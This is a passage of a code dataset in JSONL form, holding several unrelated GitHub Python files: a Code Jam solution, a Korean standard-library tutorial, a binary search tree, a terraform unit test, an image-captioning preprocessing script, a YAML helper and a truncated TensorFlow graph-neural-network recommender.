javascript\"])\n\nsite.parse_data_file()\n","repo_name":"KevinMind/ling_py","sub_path":"site_collector.py","file_name":"site_collector.py","file_ext":"py","file_size_in_byte":3625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23570569821","text":"from math import ceil, floor\n\ncases = int(input())\n\nfor case in range(0, cases):\n stalls, people = [int(x) for x in input().split(' ')]\n diff = stalls - people\n\n arr = [stalls]\n\n for x in range(people - 1):\n half = (max(arr) - 1) / 2\n arr.append(ceil(half))\n arr.append(floor(half))\n arr.remove(max(arr))\n L = ceil((max(arr) - 1) / 2)\n R = floor((max(arr) - 1) / 2)\n print('Case #{}: {} {} '.format(case + 1, L, R))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/2517.py","file_name":"2517.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43393069410","text":"##외장함수\n\n#sys 모듈은 파이썬 인터프리터가 제공하는 변수와 함수를 직접 제어할 수 있게 해주는 모듈이다.\nimport sys\nprint(sys.argv)\nsys.exit\n\n#pickle은 객체의 형태를 그대로 유지하면서 파일에 저장하고 불러올 수 있게 하는 모듈이다.\nimport pickle\nf = open(\"test.txt\", \"wb\")\ndata = {1: 'python', 2: 'you need'}\npickle.dump(data, f)\nf.close()\n\nimport pickle\nf = open(\"test.txt\", \"rb\")\ndata = pickle.load(f)\nprint(data)\n\n#shutil은 파일을 복사해 주는 파이썬 모듈이다.\nimport shutil\nshutil.copy(\"src.txt\", \"dst.txt\")\n\n#glob 가끔 파일을 읽고 쓰는 기능이 있는 프로그램을 만들다 보면\n# 특정 디렉터리에 있는 파일 이름 모두를 알아야 할 때가 있다. 이럴 때 사용하는 모듈이 바로 glob이다.\nimport glob\nglob.glob(\"c:/doit/mark*\") #c:/doit 디렉터리에 있는 파일 중 mark로 시작하는 파일을 모두 찾아라\n\n#tempfile 파일을 임시로 만들어서 사용할 때 유용한 모듈이\n#tempfile.TemporaryFile()은 임시 저장 공간으로 사용할 파일 객체를 돌려준다. 이 파일은 기본적으로 바이너리 쓰기 모드(wb)를 갖는다.\n# f.close()가 호출되면 이 파일 객체는 자동으로 사라진다.\nimport tempfile\nfilename = tempfile.mktemp()\nfilename\n\nimport tempfile\nf = tempfile.TemporaryFile()\nf.close()\n\n#time\n# -time UTC(Universal Time Coordinated 협정 세계 표준시)를 사용하여 현재 시간을 실수 형태로 돌려주는 함수이다.\nimport time\ntime.time()\n\n# -localtime time.localtime은 time.time()이 돌려준 실수 값을 사용해서 연도, 월, 일, 시, 분, 초, ... 의 형태로 바꾸어 주는 함수이다.\ntime.localtime(time.time())\n\n# -asctime, -ctiome, -strftime\n#-sleep\nimport time\nfor i in range(10):\n print(i)\n time.sleep(1)\n\n#calendar는 파이썬에서 달력을 볼 수 있게 해주는 모듈이다.\nimport calendar\nprint(calendar.calendar(2015))\ncalendar.prcal(2015)\ncalendar.prmonth(2015, 12) #2015년 12월 달력만 보여줌\ncalendar.weekday(2015, 12, 31) #해당 날짜의 요일을 알려줌 0 - 월, 1 - 화, ...\n\n#random은 난수(규칙이 없는 임의의 수)를 발생시키는 모듈이다\nimport random\nrandom.random()\nrandom.randint(1, 10) #randint 를 사용하여 1에서 10 사이의 정수 중 난수 값을 돌려줌.\nrandom.randint(1, 55)\n\nimport random\ndef random_pop(data):\n number = random.randint(0, len(data)-1)\n return data.pop(number)\nif __name__ == \"__main__\":\n data = [1, 2, 3, 4, 5]\n while data:\n print(random_pop(data))\n\ndef random_pop(data):\n number = random.choice(data)\n data.remove(number)\n return number\n\nimport random\ndata = [1, 2, 3, 4, 5]\nrandom.shuffle(data)\ndata\n\n#webbrowser는 자신의 시스템에서 사용하는 기본 웹 브라우저를 자동으로 실행하는 모듈이다.\nimport webbrowser\nwebbrowser.open(\"http://google.com\")\nwebbrowser.open_new(\"http://google.com\")\n\n#스레드를 다루는 threading 모듈\nimport time\nimport threading\n\ndef long_task():\n for i in range(5):\n time.sleep(1)\n print(\"working:%s\\n\" % i)\nprint(\"Start\")\n\nthreads = []\nfor i in range(5):\n t = threading.Thread(target=long_task)\n threads.append(t)\n\nfor t in threads:\n t.start()\n\nfor t in threads:\n t.join()\n\nprint(\"End\")\n\n\n\n\n##연습문제\n\n#Q1\nclass Calculater:\n def __init__(self):\n self.value = 0\n def add(self, val):\n self.value +=val\nclass UpgradeCalculater(Calculater):\n def minus(self, val):\n self.value -= val\ncal = UpgradeCalculater()\ncal.add(10)\ncal.minus(7)\nprint(cal.value)\n\n#Q2\nclass MaxLimitiCalculater(Calculater):\n def add(self, val):\n if (self.value + val) >= 100:\n self.value = 100\n else:\n self.value += val\ncal = MaxLimitiCalculater()\ncal.add(50)\ncal.add(60)\nprint(cal.value)\n\n#Q3\nFalse\nTrue\n\n#Q4\nlist(filter(lambda x: x > 0, [1, -2, 3, -5, 8, -3]))\n\n#Q5\nint(0xea)\n\n#Q6\nlist(map(lambda x: x*3, [1, 2, 3, 4]))\n\n#Q7\nmax([-8, 2, 7, 5, -3, 5, 0, 1])\nmin([-8, 2, 7, 5, -3, 5, 0, 1])\n\n#Q8\nround(17/3, 4)\n\n#Q9\n\n\n#Q10\n\n\n#Q11\n\n\n#Q12\nimport time\ntime.strftime()\n\n\n#Q13","repo_name":"eodnjs467/python","sub_path":"python_basic/python_8day.py","file_name":"python_8day.py","file_ext":"py","file_size_in_byte":4191,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35403027029","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 4 17:55:52 2018\n\n@author: Rohit\n\"\"\"\n\nclass Node(object):\n \n def __init__(self, data):\n self.data = data;\n self.leftChild = None;\n self.rightChild = None;\n \nclass BinarySearchTree(object):\n \n def __init__(self):\n self.rootNode = None;\n \n def Insert(self, data): \n if not self.rootNode:\n self.rootNode = Node(data);\n else:\n self.InsertNode(data, self.rootNode);\n \n # O(logN) if tree is balanced. Else, O(N)\n def InsertNode(self, data, node): \n if data < node.data:\n if node.leftChild:\n self.InsertNode(data, node.leftChild);\n else:\n node.leftChild = Node(data);\n else:\n if node.rightChild:\n self.InsertNode(data, node.rightChild);\n else:\n node.rightChild = Node(data); \n \n # Traverse in order, get the max and min in BST\n # getting the min value\n def GetMin(self):\n if self.rootNode:\n return self.GetMinValue(self.rootNode);\n \n def GetMinValue(self, node):\n if node.leftChild:\n return self.GetMinValue(node.leftChild);\n else:\n return node.data;\n \n # getting the max value\n def GetMax(self):\n if self.rootNode:\n return self.GetMaxValue(self.rootNode);\n \n def GetMaxValue(self, node):\n if node.rightChild:\n return self.GetMaxValue(node.rightChild);\n else:\n return node.data;\n \n # in-order traversal\n def traverseInOrder(self):\n if self.rootNode:\n self.Traverse(self.rootNode);\n \n def Traverse(self, node):\n if node.leftChild:\n self.Traverse(node.leftChild);\n \n print(node.data);\n \n if node.rightChild:\n self.Traverse(node.rightChild);\n \n# Testing\n \n# with digits \nbst = BinarySearchTree()\nbst.Insert(10);\nbst.Insert(5);\nbst.Insert(15);\nbst.Insert(6);\n\nprint(bst.GetMin());\nprint(bst.GetMax());\nbst.traverseInOrder();\n\n# =============================================================================\n# # with alphabets\n# bst.Insert(\"A\");\n# bst.Insert(\"Z\");\n# bst.Insert(\"D\");\n# bst.Insert(\"H\");\n# bst.traverseInOrder(); \n# =============================================================================\n \n \n \n ","repo_name":"rohitj559/DataStructures_and_Algorithms_Python","sub_path":"BinarySearchTree.py","file_name":"BinarySearchTree.py","file_ext":"py","file_size_in_byte":2559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70408637635","text":"# std\nimport unittest\n\n# internal\nfrom terraform_model.all import *\n\n\nclass TestTfTrimSpace(unittest.TestCase):\n\n def test_tftrimspace_type(self):\n x = variable('x', type=TfString)\n result = tftrimspace(x)\n self.assertIsInstance(result, TfString)\n\n def test_tftrimspace_str(self):\n x = variable('x', type=TfString)\n result = str(tftrimspace(x))\n self.assertEqual(result, 'trimspace(var.x)')\n","repo_name":"Mohadi3O/python-terraform-utils","sub_path":"packages/terraform_model/tests/test_functions/test_string/test_tftrimspace.py","file_name":"test_tftrimspace.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28492209964","text":"# Dependancies\nimport json\nfrom collections import Counter\nfrom random import seed, choice, sample\nimport h5py\nfrom tqdm import tqdm\nimport cv2\nfrom cv2 import imread, resize\nimport os\nimport numpy as np\n\n\ndef create_input_files(dataset, json_path, image_folder, captions_per_image,\n min_word_freq, output_folder, max_len = 100):\n\n '''\n Creates input files for training, validation, and test data.\n :param dataset: name of dataset, one of 'coco', 'flickr8k', 'flickr30k'\n :param json_path: path of Karpathy JSON file with splits and captions\n :param image_folder: folder with downloaded images\n :param captions_per_image: number of captions to sample per image\n :param min_word_freq: words occuring less frequently than this threshold are binned as <unk>s\n :param output_folder: folder to save files\n :param max_len: don't sample captions longer than this length\n '''\n\n assert dataset in {'coco', 'flickr8k', 'flickr30k'}\n\n # Read Karpathy JSON\n with open(json_path, 'r') as j:\n data = json.load(j)\n\n # Read image paths and captions for each image\n train_image_paths = []\n train_image_captions = []\n val_image_paths = []\n val_image_captions = []\n test_image_paths = []\n test_image_captions = []\n word_freq = Counter()\n\n # iterate over data\n for img in data['images']:\n captions = []\n\n # iterate over each caption of an image\n for c in img['sentences']:\n\n # update word frequency\n word_freq.update(c['tokens'])\n \n # don't save caption that exceeds max_len\n if len(c['tokens']) <= max_len:\n captions.append(c['tokens'])\n\n # if all captions of an image don't meet max_len criteria don't save the image\n if len(captions) == 0:\n continue\n\n # construct the image path\n path = os.path.join(image_folder, img['filename'])\n\n # Check the value of the split attribute to place image in the desired folder\n if img['split'] in {'train', 'restval'}:\n train_image_paths.append(path)\n train_image_captions.append(captions)\n elif img['split'] in {'val'}:\n val_image_paths.append(path)\n val_image_captions.append(captions)\n elif img['split'] in {'test'}:\n test_image_paths.append(path)\n test_image_captions.append(captions)\n \n\n # Sanity check\n assert len(train_image_paths) == len(train_image_captions)\n assert len(val_image_paths) == len(val_image_captions)\n assert len(test_image_paths) == len(test_image_captions)\n\n # Create the word map\n\n # shortlist the words that meet min_word_freq criteria\n words = [w for w in word_freq.keys() if word_freq[w] > min_word_freq]\n word_map = {k: v for v, k in enumerate(words,1)}\n word_map['<unk>'] = len(word_map) + 1\n word_map['<start>'] = len(word_map) + 1\n word_map['<end>'] = len(word_map) + 1\n word_map['<pad>'] = 0\n\n # Create a base/root name for all output files\n base_filename = dataset + '_' + str(captions_per_image) + '_cap_per_img_' + str(min_word_freq) + '_min_word_freq'\n\n # Save word map to a JSON\n with open(os.path.join(output_folder, 'WORDMAP_' + base_filename + '.json'), 'w') as j:\n json.dump(word_map, j)\n\n # Sample captions for each image, save images to HDF5 file, and captions along with their lengths to JSON files\n seed(123)\n\n for impaths, imcaps, split in [(train_image_paths, train_image_captions, 'TRAIN'),\n (val_image_paths, val_image_captions, 'VAL'),\n (test_image_paths, test_image_captions, 'TEST')]:\n\n with h5py.File(os.path.join(output_folder, split + '_IMAGES_' + base_filename + '.hdf5'), 'a') as h:\n # Make a note of the num of captions we're sampling per image\n h.attrs['captions_per_image'] = captions_per_image\n\n # Create a dataset inside HDF5 file to store images\n images = h.create_dataset('Images', (len(impaths), 3, 256, 256), dtype='uint8')\n\n print(\"\\nReading %s images and captions, storing to file...\\n\" % split)\n\n enc_captions = []\n caplens = []\n\n for i, path in enumerate(tqdm(impaths)):\n\n # Sample captions \n if len(imcaps[i]) < captions_per_image:\n captions = imcaps[i] + [choice(imcaps[i]) for _ in range(captions_per_image - len(imcaps[i]))]\n else:\n captions = sample(imcaps[i], k=captions_per_image)\n\n # Sanity check\n assert len(captions) == captions_per_image\n\n # Read images\n img = imread(impaths[i])\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n # if image is grayscale add the depth dimention to it\n if len(img.shape) == 2 :\n img = img[:,:, np.newaxis]\n img = np.concatenate([img, img, img], axis=2)\n # Resize the image \n img = resize(img, (256,256))\n # convert image from H x W x C --> C x H x W\n img = img.transpose(2,0,1)\n\n assert img.shape == (3, 256, 256)\n assert np.max(img) <= 255\n\n # Save image to HDF5 file\n images[i] = img\n\n for j, c in enumerate(captions):\n # Encode captions\n enc_c = [word_map['<start>']] + [word_map.get(word, word_map['<unk>']) for word in c] + [\n word_map['<end>']] + [word_map['<pad>']] * (max_len - len(c))\n\n # Find caption lengths, add 2 for 'start' and 'end' tokens\n c_len = len(c) + 2\n\n enc_captions.append(enc_c)\n caplens.append(c_len)\n\n # Sanity check\n assert images.shape[0] * captions_per_image == len(enc_captions) == len(caplens)\n\n # Save encoded captions and their lengths to JSON files\n with open(os.path.join(output_folder, split + '_CAPTIONS_' + base_filename + '.json'), 'w') as j:\n json.dump(enc_captions, j)\n\n with open(os.path.join(output_folder, split + '_CAPLENS_' + base_filename + '.json'), 'w') as j:\n json.dump(caplens, j)\n\n\n#################################################################################\n\nif __name__ == '__main__':\n # Create input files (along with word map)\n create_input_files(\n dataset='flickr8k',\n json_path = 'data/dataset_flickr8k.json',\n image_folder='data/Flicker8k_Dataset',\n captions_per_image=5,\n min_word_freq=5,\n output_folder='data_output',\n max_len=50\n)\n","repo_name":"dwayne99/Image_Captioning","sub_path":"create_input_files.py","file_name":"create_input_files.py","file_ext":"py","file_size_in_byte":6825,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"70498049795","text":"\nimport yaml\nimport sys\n# sys.path.append(\"E:/Teacher/Imooc/AppiumPython\")\n# sys.path.append(\"D:/PycharmProjects/GetSpider\")\n\n\nclass WriteUserCommand():\n\tdef read_data(self):\n\t\t'''\n\t\t加载yaml数据\n\t\t'''\n\t\twith open(\"D:/PycharmProjects/GetSpider/temp_file/count.yaml\") as fr:\n\t\t\tdata = yaml.load(fr)\n\t\treturn data\n\n\tdef get_value(self,key):\n\t\t'''\n\t\t获取value\n\t\t'''\n\t\tdata = self.read_data()\n\t\tvalue = data[key]\n\t\treturn value\n\n\tdef write_data(self,num):\n\t\t'''\n\t\t写入数据\n\t\t'''\n\t\tdata = self.join_data(num)\n\t\twith open(\"D:/PycharmProjects/GetSpider/temp_file/count.yaml\", \"w\") as fr:\n\t\t\tyaml.dump(data,fr)\n\n\tdef join_data(self,num):\n\t\tdata = {\n\t\t\t\"num\": num\n\t\t}\n\t\treturn data\n\n\tdef clear_data(self):\n\t\twith open(\"../temp_file/count.yaml\",\"w\") as fr:\n\t\t\tfr.truncate()\n\t\tfr.close()\n\n\tdef get_file_lines(self):\n\t\tdata = self.read_data()\n\t\treturn len(data)\n\n\nif __name__ == '__main__':\n\tw = WriteUserCommand()\n\t# w.write_data(13)\n\tprint(type(w.get_value('num')))","repo_name":"ASheaJin/GetSpider","sub_path":"utils/handle_yaml.py","file_name":"handle_yaml.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"27100449564","text":"from __future__ import division\nimport tensorflow as tf\nimport numpy as np\nfrom ipdb import set_trace\n\n\nclass MGNN():\n \"\"\"\n 互惠神经网络\n \"\"\"\n\n def __init__(self, conf):\n self.conf = conf\n self.supply_set = (\n 'SOCIAL_NEIGHBORS_SPARSE_MATRIX', # user_user 稀疏矩阵\n 'CONSUMED_ITEMS_SPARSE_MATRIX', # user_item 稀疏矩阵\n 'ITEM_CUSTOMER_SPARSE_MATRIX' # item_user 稀疏矩阵\n )\n\n def startConstructGraph(self):\n \"\"\"\n 创建训练模型\n :return:\n \"\"\"\n self.initializeNodes()\n self.constructTrainGraph()\n self.saveVariables()\n self.defineMap()\n\n def inputSupply(self, data_dict):\n \"\"\"\n 提供输入数据\n :param data_dict:\n :return:\n \"\"\"\n low_att_std = 1.0\n\n # 一、Node Attention initialization Attention节点初始化 构建图神经网路\n # ----------------------\n # 1. user-user social network node attention initialization\n self.social_neighbors_indices_input = data_dict['SOCIAL_NEIGHBORS_INDICES_INPUT'] # 259014 [(u_id1, u_id2)]\n\n self.first_low_att_layer_for_social_neighbors_layer1 = tf.layers.Dense(\n units=1,\n activation=tf.nn.sigmoid, # sigmoid激活函数\n name='first_low_att_SN_layer1'\n )\n self.social_neighbors_values_input1 = tf.reduce_sum(\n tf.math.exp(\n self.first_low_att_layer_for_social_neighbors_layer1(\n tf.reshape(\n tf.Variable(\n tf.random_normal([len(self.social_neighbors_indices_input)], stddev=low_att_std)\n ), [-1, 1]\n ) # 每一层为一个向量\n )\n ), 1\n ) # shape=(259014,) 得到一维的向量\n\n # second_low attention\n self.second_low_att_layer_for_social_neighbors_layer1 = tf.layers.Dense(\n units=1,\n activation=tf.nn.sigmoid, # sigmoid激活函数\n name='second_low_att_SN_layer1'\n )\n self.social_neighbors_values_input2 = tf.reduce_sum(\n tf.math.exp(\n self.second_low_att_layer_for_social_neighbors_layer1(\n tf.reshape(\n tf.Variable(\n tf.random_normal([len(self.social_neighbors_indices_input)], stddev=1.0)\n ), [-1, 1]\n )\n )\n ), 1\n ) # shape=(259014,)\n\n # ----------------------\n # 2. user-item interest graph node attention initialization\n self.consumed_items_indices_input = data_dict['CONSUMED_ITEMS_INDICES_INPUT'] # 185869 [(user_id, item_id)]\n\n self.first_low_att_layer_for_user_item_layer1 = tf.layers.Dense(\n units=1,\n activation=tf.nn.sigmoid,\n name='first_low_att_UI_layer1'\n )\n self.consumed_items_values_input1 = tf.reduce_sum(\n tf.math.exp(\n self.first_low_att_layer_for_user_item_layer1(\n tf.reshape(\n tf.Variable(\n tf.random_normal(\n [len(self.consumed_items_indices_input)], stddev=low_att_std\n )\n ), [-1, 1]\n )\n )\n ), 1\n ) # shape=(185869,)\n\n self.second_low_att_layer_for_user_item_layer1 = tf.layers.Dense(\n units=1,\n activation=tf.nn.sigmoid,\n name='second_low_att_UI_layer1'\n )\n self.consumed_items_values_input2 = tf.reduce_sum(\n tf.math.exp(\n self.second_low_att_layer_for_user_item_layer1(\n tf.reshape(\n tf.Variable(\n tf.random_normal(\n [len(self.consumed_items_indices_input)], stddev=1.0\n )\n ), [-1, 1]\n )\n )\n ), 1\n ) # shape=(185869,)\n\n # ----------------------\n # 3. item-user graph node attention initialization\n self.item_customer_indices_input = data_dict['ITEM_CUSTOMER_INDICES_INPUT'] # 185869 [(item_id, user_id)]\n\n self.first_low_att_layer_for_item_user_layer1 = tf.layers.Dense(\n units=1,\n activation=tf.nn.sigmoid,\n name='first_low_att_IU_layer1'\n )\n self.item_customer_values_input1 = tf.reduce_sum(\n tf.math.exp(\n self.first_low_att_layer_for_item_user_layer1(\n tf.reshape(\n tf.Variable(\n tf.random_normal(\n [len(self.item_customer_indices_input)], stddev=low_att_std)\n ), [-1, 1]\n )\n )\n ), 1\n )\n\n self.second_low_att_layer_for_item_user_layer1 = tf.layers.Dense(\n units=1,\n activation=tf.nn.sigmoid,\n name='second_low_att_IU_layer1'\n )\n self.item_customer_values_input2 = tf.reduce_sum(\n tf.math.exp(\n self.second_low_att_layer_for_item_user_layer1(\n tf.reshape(\n tf.Variable(\n tf.random_normal(\n [len(self.item_customer_indices_input)], stddev=0.01\n )\n ), [-1, 1]\n )\n )\n ), 1\n )\n\n # ----------------------\n # 4. prepare the shape of sparse matrice # 准备稀疏矩阵的形状\n self.social_neighbors_dense_shape = np.array(\n [self.conf.num_users, self.conf.num_users]\n ).astype(np.int64) # [17237, 17237]\n\n self.consumed_items_dense_shape = np.array(\n [self.conf.num_users, self.conf.num_items]\n ).astype(np.int64) # [17237, 38342]\n\n self.item_customer_dense_shape = np.array(\n [self.conf.num_items, self.conf.num_users]\n ).astype(np.int64) # [38342, 17237]\n\n ######## 三、Generate Sparse Matrices with/without attention # with/without 生成稀疏矩阵 #########\n # ----------------------\n # Frist Layer\n # (1) user-user\n self.first_layer_social_neighbors_sparse_matrix = tf.SparseTensor(\n indices=self.social_neighbors_indices_input, # [(user_id1, user_id2)],二者为朋友 shape=(259014, 2)\n values=self.social_neighbors_values_input1, # shape=(259014,) 得到一维的向量\n dense_shape=self.social_neighbors_dense_shape # [17237, 17237]\n )\n\n # (2) user-item\n self.first_layer_consumed_items_sparse_matrix = tf.SparseTensor(\n indices=self.consumed_items_indices_input, # [(user_id, item_id)] shape=(185869, 2)\n values=self.consumed_items_values_input1, # shape=(185869,) 得到一维的向量\n dense_shape=self.consumed_items_dense_shape # [17237, 38342]\n )\n # (3) item-user\n self.first_layer_item_customer_sparse_matrix = tf.SparseTensor(\n indices=self.item_customer_indices_input, # [(item_id, user_id)] shape=(185869, 2)\n values=self.item_customer_values_input1, # shape=(185869,) 得到一维的向量\n dense_shape=self.item_customer_dense_shape # [38342, 17237]\n )\n\n # 对第一层稀疏矩阵进行softmax\n self.first_social_neighbors_low_level_att_matrix = tf.sparse.softmax(\n self.first_layer_social_neighbors_sparse_matrix\n )\n self.first_consumed_items_low_level_att_matrix = tf.sparse.softmax(\n self.first_layer_consumed_items_sparse_matrix\n )\n self.first_items_users_neighborslow_level_att_matrix = tf.sparse.softmax(\n self.first_layer_item_customer_sparse_matrix\n )\n\n # ----------------------\n # Second layer\n # (1) user-user\n self.second_layer_social_neighbors_sparse_matrix = tf.SparseTensor(\n indices=self.social_neighbors_indices_input, # [(user_id1, user_id2)],二者为朋友 shape=(259014, 2)\n values=self.social_neighbors_values_input2, # shape=(259014,) 得到一维的向量\n dense_shape=self.social_neighbors_dense_shape # [17237, 17237]\n )\n\n # (2) user-item\n self.second_layer_consumed_items_sparse_matrix = tf.SparseTensor(\n indices=self.consumed_items_indices_input, # [(user_id, item_id)] shape=(185869, 2)\n values=self.consumed_items_values_input2, # shape=(185869,) 得到一维的向量\n dense_shape=self.consumed_items_dense_shape # [17237, 38342]\n )\n\n # (3) item-user\n self.second_layer_item_customer_sparse_matrix = tf.SparseTensor(\n indices=self.item_customer_indices_input, # [(item_id, user_id)] shape=(185869, 2)\n values=self.item_customer_values_input2, # shape=(185869,) 得到一维的向量\n dense_shape=self.item_customer_dense_shape # [38342, 17237]\n )\n # 对第二层稀疏矩阵进行softmax\n self.second_social_neighbors_low_level_att_matrix = tf.sparse.softmax(\n self.second_layer_social_neighbors_sparse_matrix\n )\n self.second_consumed_items_low_level_att_matrix = tf.sparse.softmax(\n self.second_layer_consumed_items_sparse_matrix\n )\n self.second_items_users_neighborslow_level_att_matrix = tf.sparse.softmax(\n self.second_layer_item_customer_sparse_matrix\n )\n\n # MGNN\n # (1) user-user\n self.user_user_sparse_matrix = tf.SparseTensor(\n indices=self.social_neighbors_indices_input, # [(user_id1, user_id2)],二者为朋友 shape=(259014, 2)\n values=self.social_neighbors_values_input1, # shape=(259014,) 得到一维的向量\n dense_shape=self.social_neighbors_dense_shape # [17237, 17237]\n )\n\n # (2) user-item\n self.user_item_sparse_matrix = tf.SparseTensor(\n indices=self.consumed_items_indices_input, # [(user_id, item_id)] shape=(185869, 2)\n values=self.consumed_items_values_input1, # shape=(185869,) 得到一维的向量\n dense_shape=self.consumed_items_dense_shape # [17237, 38342]\n )\n # (3) item-user\n self.item_user_sparse_matrix = tf.SparseTensor(\n indices=self.item_customer_indices_input, # [(item_id, user_id)] shape=(185869, 2)\n values=self.item_customer_values_input1, # shape=(185869,) 得到一维的向量\n dense_shape=self.item_customer_dense_shape # [38342, 17237]\n )\n\n # 对第一层稀疏矩阵进行softmax\n self.user_user_attention_matrix = tf.sparse.softmax(\n self.user_user_sparse_matrix\n )\n self.user_item_attention_matrix = tf.sparse.softmax(\n self.user_item_sparse_matrix\n )\n self.item_user_attention_matrix = tf.sparse.softmax(\n self.item_user_sparse_matrix\n )\n\n def convertDistribution(self, x):\n \"\"\"\n 转换分布, 将数据标准化到一个较小的范围内, 所以乘以 0.1\n :param x:\n :return:\n \"\"\"\n mean, var = tf.nn.moments(x, axes=[0, 1])\n y = (x - mean) * 0.1 / tf.sqrt(var)\n return y\n\n # ----------------------\n # Operations for Diffusion # 扩散操作\n \"\"\"\n Notes:\n - SocialNeighbors: user-user\n - ConsumedItems: user-item\n - Customer: item-user\n \"\"\"\n\n def get_item_influence_embedding(self, current_user_embedding):\n \"\"\"\n 1.1 从 user-item x item-user 生成 user-embedding\n :param current_user_embedding:\n :return:\n \"\"\"\n self.layer1_1 = tf.layers.Dense(\n units=self.conf.dimension, # 64\n activation=tf.nn.leaky_relu,\n )\n self.layer1_2 = tf.layers.Dense(\n units=self.conf.dimension, # 64\n activation=tf.nn.leaky_relu,\n )\n item_influence_embedding = self.layer1_2(\n tf.sparse_tensor_dense_matmul(\n self.user_item_attention_matrix, self.layer1_1(\n tf.sparse_tensor_dense_matmul(\n self.item_user_attention_matrix, current_user_embedding\n )\n )\n )\n )\n return item_influence_embedding\n\n def get_social_item_embedding(self, current_item_embedding):\n \"\"\"\n 1.2 从 user-user x user-item 生成 user-embedding\n :param current_item_embedding:\n :return:\n \"\"\"\n\n self.layer1_3 = tf.layers.Dense(\n units=self.conf.dimension, # 64\n activation=tf.nn.leaky_relu,\n )\n self.layer1_4 = tf.layers.Dense(\n units=self.conf.dimension, # 64\n activation=tf.nn.leaky_relu,\n )\n social_item_embedding = self.layer1_4(\n tf.sparse_tensor_dense_matmul(\n self.user_user_attention_matrix, self.layer1_3(\n tf.sparse_tensor_dense_matmul(\n self.user_item_attention_matrix, current_item_embedding\n )\n )\n )\n )\n\n return social_item_embedding\n\n def get_consumption_preference_embedding(self, item_influence_embedding, social_item_embedding):\n \"\"\"\n 1.3 获得 consumption_preference_embedding 用户消费喜好\n :param item_influence_embedding:\n :param social_item_embedding:\n :return:\n \"\"\"\n self.layer1_5 = tf.layers.Dense(\n units=self.conf.dimension, # 128 -> 64\n activation=tf.nn.leaky_relu,\n name='reduce_dimension_layer'\n )\n\n consumption_preference_embedding = self.layer1_5(\n tf.concat(\n [item_influence_embedding, social_item_embedding], 1\n )\n )\n return consumption_preference_embedding\n\n def get_social_preference_embedding(self, current_user_embedding):\n \"\"\"\n 2.1 GCN 从 user-user 生成 user_embedding\n :param current_user_embedding:\n :return:\n \"\"\"\n\n self.layer2_1 = tf.layers.Dense(\n units=self.conf.dimension,\n activation=tf.nn.leaky_relu,\n )\n\n social_preference_embedding = self.layer2_1(\n tf.sparse_tensor_dense_matmul(\n self.user_user_attention_matrix, current_user_embedding\n )\n )\n return social_preference_embedding\n\n def get_preference_embedding(self, consumption_preference_embedding, current_user_embedding):\n \"\"\"\n 3.1 获取 preference_embedding 作为互惠层的输入\n :param consumption_preference_embedding:\n :param current_user_embedding:\n :return:\n \"\"\"\n\n self.layer3_1 = tf.layers.Dense(\n units=self.conf.dimension * 2, # 128\n activation=tf.nn.leaky_relu,\n )\n preference_embedding = self.layer3_1(\n tf.concat(\n [consumption_preference_embedding, current_user_embedding], 1\n )\n )\n return preference_embedding\n\n def get_social_embedding(self, social_preference_embedding, current_user_embedding):\n \"\"\"\n 3.2 获取 social_embedding 作为互惠层的输入\n :param social_preference_embedding:\n :param current_user_embedding:\n :return:\n \"\"\"\n\n self.layer3_2 = tf.layers.Dense(\n units=self.conf.dimension * 2, # 128\n activation=tf.nn.leaky_relu,\n )\n social_embedding = self.layer3_2(\n tf.concat(\n [social_preference_embedding, current_user_embedding], 1\n )\n )\n return social_embedding\n\n def get_mutual_embedding(self, preference_embedding, social_embedding):\n \"\"\"\n 3.3 preference_embedding 和 social_embedding 点积(Dot)获得 mutual_embedding\n :param preference_embedding:\n :param social_preference_embedding:\n :return:\n \"\"\"\n\n mutual_embedding = tf.multiply(preference_embedding, social_embedding) # 128\n return mutual_embedding\n\n def get_mutual_preference_embedding(self, preference_embedding, mutual_embedding):\n \"\"\"\n 3.4 preference_embedding 和 mutual_embedding concat 获得 mutual_preference_embedding\n :param preference_embedding:\n :param mutual_embedding:\n :return:\n \"\"\"\n self.layer3_3 = tf.layers.Dense(\n units=self.conf.dimension, # 64\n activation=tf.nn.leaky_relu,\n )\n mutual_preference_embedding = self.layer3_3(\n tf.concat(\n [preference_embedding, mutual_embedding], 1\n ) # 192\n )\n return mutual_preference_embedding\n\n def get_mutual_social_embedding(self, social_embedding, mutual_embedding):\n \"\"\"\n 3.5 preference_embedding 和 mutual_embedding concat 获得 mutual_social_embedding\n :param preference_embedding:\n :param mutual_embedding:\n :return:\n \"\"\"\n self.layer3_4 = tf.layers.Dense(\n units=self.conf.dimension, # 64\n activation=tf.nn.leaky_relu,\n )\n mutual_social_embedding = self.layer3_4(\n tf.concat(\n [social_embedding, mutual_embedding], 1\n ) # 192\n )\n return mutual_social_embedding\n\n def initializeNodes(self):\n \"\"\"\n 初始化图节点,定义好每个层\n :return:\n \"\"\"\n self.item_input = tf.placeholder(\"int32\", [None, 1]) # item_list: [item_id, ....]\n self.user_input = tf.placeholder(\"int32\", [None, 1]) # user_list: [0...0, 2, 2, 3, 3]\n self.labels_input = tf.placeholder(\"float32\", [None, 1]) # labels_list: [0 or 1]\n\n self.social_user_input = tf.placeholder(\"int32\", [None, 1]) # item_list: [item_id, ....]\n self.social_friend_input = tf.placeholder(\"int32\", [None, 1]) # user_list: [0...0, 2, 2, 3, 3]\n self.social_labels_input = tf.placeholder(\"float32\", [None, 1]) # labels_list: [0 or 1]\n\n ######## 1. 嵌入层 ########\n self.user_embedding = tf.Variable(\n tf.random_normal([self.conf.num_users, self.conf.dimension], stddev=0.01),\n name='user_embedding'\n ) # shape = [17237, 64]\n\n self.item_embedding = 